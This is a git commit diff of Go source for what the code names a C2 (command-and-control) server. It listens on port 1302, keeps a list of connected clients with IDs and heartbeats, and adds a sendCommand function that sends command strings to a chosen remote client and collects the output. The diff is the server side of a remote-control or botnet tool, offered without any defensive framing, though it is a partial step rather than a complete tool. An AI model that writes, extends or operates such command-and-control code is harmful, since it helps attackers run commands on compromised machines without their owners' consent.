Set up functions for sending commands to client
This commit is contained in:
parent
f26e6e7f57
commit
1f95d44e3e
|
@ -14,6 +14,7 @@ type Client struct {
|
||||||
ClientBasicInfo
|
ClientBasicInfo
|
||||||
Conn net.Conn
|
Conn net.Conn
|
||||||
IsOnline bool
|
IsOnline bool
|
||||||
|
ClientID int
|
||||||
}
|
}
|
||||||
|
|
||||||
type ClientBasicInfo struct {
|
type ClientBasicInfo struct {
|
||||||
|
@ -27,16 +28,19 @@ type ClientBasicInfo struct {
|
||||||
|
|
||||||
type Instructions struct {
|
type Instructions struct {
|
||||||
IsHeartbeat bool
|
IsHeartbeat bool
|
||||||
|
IsCommand bool
|
||||||
Message string
|
Message string
|
||||||
}
|
}
|
||||||
|
|
||||||
type Response struct {
|
type Response struct {
|
||||||
Message string
|
Successful bool
|
||||||
|
Message string
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
C2Port string = "1302"
|
C2Port string = "1302"
|
||||||
clientList []Client
|
clientList []Client
|
||||||
|
clientIDs int = 0
|
||||||
)
|
)
|
||||||
|
|
||||||
func (c Client) Instruct(i Instructions) error {
|
func (c Client) Instruct(i Instructions) error {
|
||||||
|
@ -83,6 +87,21 @@ func handleConn(conn net.Conn) {
|
||||||
go Heartbeat(ID)
|
go Heartbeat(ID)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func sendCommand(ID int, command string) (Output string, err error) {
|
||||||
|
inst := Instructions{
|
||||||
|
IsCommand: true,
|
||||||
|
Message: command,
|
||||||
|
}
|
||||||
|
clientList[ID].Instruct(inst)
|
||||||
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
||||||
|
if err != nil || resp.Successful != true {
|
||||||
|
fmt.Println("Something went wrong")
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
fmt.Println(resp.Message)
|
||||||
|
return resp.Message, nil
|
||||||
|
}
|
||||||
|
|
||||||
func Heartbeat(ID int) {
|
func Heartbeat(ID int) {
|
||||||
for {
|
for {
|
||||||
inst := Instructions{
|
inst := Instructions{
|
||||||
|
@ -104,6 +123,16 @@ func Heartbeat(ID int) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func returnClient(ID int) (Client, error) {
|
||||||
|
for _, v := range clientList {
|
||||||
|
if v.ClientID == ID {
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
err := fmt.Errorf("Client not found")
|
||||||
|
return Client{}, err
|
||||||
|
}
|
||||||
|
|
||||||
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
||||||
dec := gob.NewDecoder(conn)
|
dec := gob.NewDecoder(conn)
|
||||||
c := new(Response)
|
c := new(Response)
|
||||||
|
@ -140,6 +169,8 @@ func getClient(conn net.Conn) (int, error) {
|
||||||
newC.ClientBasicInfo = basicC
|
newC.ClientBasicInfo = basicC
|
||||||
newC.Conn = conn
|
newC.Conn = conn
|
||||||
newC.IsOnline = true
|
newC.IsOnline = true
|
||||||
|
newC.ClientID = clientIDs
|
||||||
|
clientIDs++
|
||||||
|
|
||||||
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
|
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
|
||||||
clientList = append(clientList, newC)
|
clientList = append(clientList, newC)
|
||||||
|
|
Loading…
Reference in New Issue